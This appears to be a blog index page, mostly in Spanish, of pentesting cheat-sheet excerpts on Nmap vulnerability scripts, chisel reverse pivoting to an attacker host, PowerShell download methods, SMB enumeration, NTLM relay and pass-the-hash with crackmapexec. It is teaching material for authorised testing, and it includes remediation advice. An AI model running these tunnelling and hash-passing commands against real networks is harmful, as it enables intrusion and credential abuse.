BloodHound Cypher Cheatsheet
https://hausec.com/2019/09/09/bloodhound-cypher-cheatsheet/
Wordlist Diccionarios de contraseñas
Kaonashi, rockyou, entre otros https://weakpass.com/wordlist/big?page=2
Usando NMAP para escanear vulnerabilidades
https://geekflare.com/nmap-vulnerability-scan/ Nmap-vulnerscd /usr/share/nmap/scripts/git clone https://github.com/vulnersCom/nmap-vulners.gitnmap -sV –script vulners [–script-args mincvss=]nmap -sV –script nmap-vulners/ -p80,223 Nmap – vulnnmap -sV –script vuln Nmap-vulscancd /usr/share/nmap/scripts/git clone https://github.com/scipag/vulscan.gitln -s pwd/scipag_vulscan /usr/share/nmap/scripts/vulscancd vulscan/utilities/updater/chmod +x updateFiles.sh./updateFiles.shnmap -sV –script vulscannmap -sV –script vulscan –script-args vulscandb=exploit.csv -p 80,233
Técnicas de Pivoting
https://book.hacktricks.xyz/generic-methodologies-and-resources/tunneling-and-port-forwarding https://michmich.eu/Cheatsheets/internal/07-pivoting/ https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Network%20Pivoting%20Techniques.md Chisel You can download it from the releases page of https://github.com/jpillora/chisel You need to use the same version for client and server socks ./chisel server -p 8080 –reverse #Server — Attacker ./chisel-x64.exe client 10.10.14.3:8080 R:socks #Client —… Read more ›
Métodos para la transferencia de Archivos Windows (en un Pentesting)
https://academy.hackthebox.com/course/preview/file-transfers/windows-file-transfer-methods PowerShell DownloadFile Method We can specify the class name Net.WebClient and the method DownloadFile with the parameters corresponding to the URL of the target file to download and the output file name. File Download PowerShell DownloadString – Fileless Method As we previously discussed,… Read more ›
Pentesting SMB
https://book.hacktricks.xyz/network-services-pentesting/pentesting-smbhttps://github.com/ShawnDEvans/smbmap Para realizar un listado recursivo -R, y con -p en lugar de la contraseña se puede usar el hash “NT:LM”
NTLM Relay
https://infosecwriteups.com/abusing-ntlm-relay-and-pass-the-hash-for-admin-d24d0f12bea0 Remediación Disabling LLMNR Open the Group Policy Editor in your version of Windows Navigate to Local Computer Policy > Computer Configuration > Administrative Templates > Network > DNS Client Under DNS Client, make sure that “Turn OFF Multicast Name… Read more ›
Diferentes maneras de emplear el Pass the Hash (PTH)
https://www.n00py.io/2020/12/alternative-ways-to-pass-the-hash-pth/ Crackmapexec cme smb 10.0.0.20 -u user -H BD1C6503987F8FF006296118F359FA79 -d domain.localSMB 10.0.0.20 445 PC01 [*] Windows Server 2012 R2 Standard 9600 x64 (name:PC01) (domain:domain.local) (signing:False) (SMBv1:True)SMB 10.0.0.20… Read more ›